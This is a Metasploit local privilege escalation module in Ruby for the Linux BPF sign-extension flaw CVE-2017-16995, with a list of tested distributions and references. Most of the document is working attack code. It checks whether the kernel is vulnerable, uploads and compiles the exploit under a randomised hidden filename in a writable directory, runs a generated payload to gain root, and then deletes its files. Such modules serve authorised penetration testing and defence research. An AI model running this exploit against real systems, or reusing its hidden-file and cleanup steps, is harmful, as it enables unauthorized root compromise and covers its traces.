Linux kernel versions prior to 4.14.8 utilize the Berkeley Packet Filter (BPF) which contains a vulnerability where it may improperly perform signing for an extension. This can be utilized to escalate privileges. The target system must be compiled with BPF support and must not have kernel.unprivileged_bpf_disabled set to 1. This Metasploit module has been tested successfully on many different kernels.
4596fc215a7899eb6de8fccca0e92708##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::Linux::Kernel
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Linux BPF Sign Extension Local Privilege Escalation',
'Description' => %q{
Linux kernel prior to 4.14.8 utilizes the Berkeley Packet Filter (BPF)
which contains a vulnerability where it may improperly perform sign
extension. This can be utilized to escalate privileges.
The target system must be compiled with BPF support and must not have
kernel.unprivileged_bpf_disabled set to 1.
This module has been tested successfully on:
Debian 9.0 kernel 4.9.0-3-amd64;
Deepin 15.5 kernel 4.9.0-deepin13-amd64;
ElementaryOS 0.4.1 kernel 4.8.0-52-generic;
Fedora 25 kernel 4.8.6-300.fc25.x86_64;
Fedora 26 kernel 4.11.8-300.fc26.x86_64;
Fedora 27 kernel 4.13.9-300.fc27.x86_64;
Gentoo 2.2 kernel 4.5.2-aufs-r;
Linux Mint 17.3 kernel 4.4.0-89-generic;
Linux Mint 18.0 kernel 4.8.0-58-generic;
Linux Mint 18.3 kernel 4.13.0-16-generic;
Mageia 6 kernel 4.9.35-desktop-1.mga6;
Manjero 16.10 kernel 4.4.28-2-MANJARO;
Solus 3 kernel 4.12.7-11.current;
Ubuntu 14.04.1 kernel 4.4.0-89-generic;
Ubuntu 16.04.2 kernel 4.8.0-45-generic;
Ubuntu 16.04.3 kernel 4.10.0-28-generic;
Ubuntu 17.04 kernel 4.10.0-19-generic;
ZorinOS 12.1 kernel 4.8.0-39-generic.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jann Horn', # Discovery
'bleidl', # Discovery and get-rekt-linux-hardened.c exploit
'vnik', # upstream44.c exploit
'rlarabee', # cve-2017-16995.c exploit
'h00die', # Metasploit
'bcoles' # Metasploit
],
'DisclosureDate' => 'Nov 12 2017',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' =>
[
[ 'AKA', 'get-rekt-linux-hardened.c' ],
[ 'AKA', 'upstream44.c' ],
[ 'BID', '102288' ],
[ 'CVE', '2017-16995' ],
[ 'EDB', '44298' ],
[ 'EDB', '45010' ],
[ 'URL', 'https://github.com/rlarabee/exploits/blob/master/cve-2017-16995/cve-2017-16995.c' ],
[ 'URL', 'https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.c' ],
[ 'URL', 'http://cyseclabs.com/pub/upstream44.c' ],
[ 'URL', 'https://blog.aquasec.com/ebpf-vulnerability-cve-2017-16995-when-the-doorman-becomes-the-backdoor' ],
[ 'URL', 'https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html' ],
[ 'URL', 'https://www.debian.org/security/2017/dsa-4073' ],
[ 'URL', 'https://usn.ubuntu.com/3523-2/' ],
[ 'URL', 'https://people.canonical.com/~ubuntu-security/cve/2017/CVE-2017-16995.html' ],
[ 'URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=1454' ],
[ 'URL', 'http://openwall.com/lists/oss-security/2017/12/21/2'],
[ 'URL', 'https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=95a762e2c8c942780948091f8f2a4f32fce1ac6f' ]
],
'DefaultTarget' => 0))
register_options [
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', %w[Auto True False] ]),
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
]
end
def base_dir
datastore['WritableDir'].to_s
end
def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
end
def upload_and_chmodx(path, data)
upload path, data
cmd_exec "chmod +x '#{path}'"
end
def upload_and_compile(path, data)
upload "#{path}.c", data
gcc_cmd = "gcc -o #{path} #{path}.c"
if session.type.eql? 'shell'
gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}"
end
output = cmd_exec gcc_cmd
rm_f "#{path}.c"
unless output.blank?
print_error output
fail_with Failure::Unknown, "#{path}.c failed to compile. Set COMPILE False to upload a pre-compiled executable."
end
cmd_exec "chmod +x #{path}"
end
def exploit_data(file)
path = ::File.join Msf::Config.data_directory, 'exploits', 'cve-2017-16995', file
fd = ::File.open path, 'rb'
data = fd.read fd.stat.size
fd.close
data
end
def live_compile?
return false unless datastore['COMPILE'].eql?('Auto') || datastore['COMPILE'].eql?('True')
if has_gcc?
vprint_good 'gcc is installed'
return true
end
unless datastore['COMPILE'].eql? 'Auto'
fail_with Failure::BadConfig, 'gcc is not installed. Compiling will fail.'
end
end
def check
arch = kernel_hardware
unless arch.include? 'x86_64'
vprint_error "System architecture #{arch} is not supported"
return CheckCode::Safe
end
vprint_good "System architecture #{arch} is supported"
if unprivileged_bpf_disabled?
vprint_error 'Unprivileged BPF loading is not permitted'
return CheckCode::Safe
end
vprint_good 'Unprivileged BPF loading is permitted'
release = kernel_release
if Gem::Version.new(release.split('-').first) > Gem::Version.new('4.14.11') ||
Gem::Version.new(release.split('-').first) < Gem::Version.new('4.0')
vprint_error "Kernel version #{release} is not vulnerable"
return CheckCode::Safe
end
vprint_good "Kernel version #{release} appears to be vulnerable"
CheckCode::Appears
end
def exploit
unless check == CheckCode::Appears
fail_with Failure::NotVulnerable, 'Target not vulnerable! punt!'
end
if is_root?
fail_with Failure::BadConfig, 'Session already has root privileges'
end
unless cmd_exec("test -w '#{base_dir}' && echo true").include? 'true'
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end
# Upload exploit executable
executable_name = ".#{rand_text_alphanumeric rand(5..10)}"
executable_path = "#{base_dir}/#{executable_name}"
if live_compile?
vprint_status 'Live compiling exploit on system...'
upload_and_compile executable_path, exploit_data('exploit.c')
else
vprint_status 'Dropping pre-compiled exploit on system...'
upload_and_chmodx executable_path, exploit_data('exploit.out')
end
# Upload payload executable
payload_path = "#{base_dir}/.#{rand_text_alphanumeric rand(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
# Launch exploit
print_status 'Launching exploit ...'
output = cmd_exec "echo '#{payload_path} & exit' | #{executable_path} "
output.each_line { |line| vprint_status line.chomp }
print_status "Cleaning up #{payload_path} and #{executable_path} ..."
rm_f executable_path
rm_f payload_path
end
end